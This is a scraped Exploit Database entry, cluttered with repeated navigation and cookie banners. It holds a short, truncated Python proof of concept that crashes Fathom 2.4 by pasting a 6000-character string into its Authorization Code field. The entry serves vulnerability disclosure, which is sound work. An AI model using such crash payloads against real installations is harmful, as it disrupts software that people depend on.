



EXPLOIT DATABASE



EXPLOITS



GHDB



PAPERS



SHELLCODES



SEARCH EDB



SEARCHSPLOIT MANUAL



SUBMISSIONS



Cookiebot
by Usercentrics

This website uses cookies

We use cookies to personalise content and ads, to provide social media features and to analyse our traffic. We also share information about your use of our site with our social media, advertising and analytics partners who may combine it with other information that you've provided to them or that they've collected from your use of their services. You consent to our cookies if you continue to use our website.

[Show details](#) >

OK

Do not sell or share my personal information



EXPLOIT DATABASE



EXPLOITS



GHDB



PAPERS



SHELLCODES



SEARCH EDB



SEARCHSPLOIT MANUAL



SUBMISSIONS

Fathom 2.4 - Denial Of Service (PoC)

EDB-ID:

45294

CVE:

N/A

EDB Verified: ✓**Author:**[GIONATHAN REALE](#)**Type:**[DOS](#)**Exploit:**   / **Cookiebot**
by Usercentrics

This website uses cookies

We use cookies to personalise content and ads, to provide social media features and to analyse our traffic. We also share information about your use of our site with our social media, advertising and analytics partners who may combine it with other information that you've provided to them or that they've collected from your use of their services. You consent to our cookies if you continue to use our website.

[Show details](#) >



EXPLOIT DATABASE



EXPLOITS



GHDB



PAPERS



SHELLCODES



SEARCH EDB



SEARCHSPOIT MANUAL



SUBMISSIONS

```
# Exploit Title: Fathom 2.4 - Denial Of Service (PoC)
# Author: Gionathan "John" Reale
# Discover Date: 2018-08-28
# Homepage: https://fathom.concord.org/
# Software Link: https://fathom.concord.org/download/
# Tested Version: v2.4
# Tested on OS: Windows 7 32-bit
# Steps to Reproduce: Run the python exploit script, it will create a new
# file with the name "exploit.txt". Copy the content of the new file
# "exploit.txt".
# Now start the program, in the field named: "Authorization Code" paste the
# "exploit.txt" content copied eariler.
# Click "Activate" and see a crash!

#!/usr/bin/python

buffer = "A" * 6000

payload = buffer
try:
    f=open("exploit.txt","w")
    print "[+] Creating %s bytes evil payload.." %len(payload)
```

Cookiebot
by Usercentrics

This website uses cookies

We use cookies to personalise content and ads, to provide social media features and to analyse our traffic. We also share information about your use of our site with our social media, advertising and analytics partners who may combine it with other information that you've provided to them or that they've collected from your use of their services. You consent to our cookies if you continue to use our website.

[Show details](#) >

EXPLOIT DATABASE BY OFFSEC

[TERMS](#)[PRIVACY](#)[ABOUT US](#)[FAQ](#)[COOKIES](#)

[OffSec Services Limited](#) 2026. All rights reserved.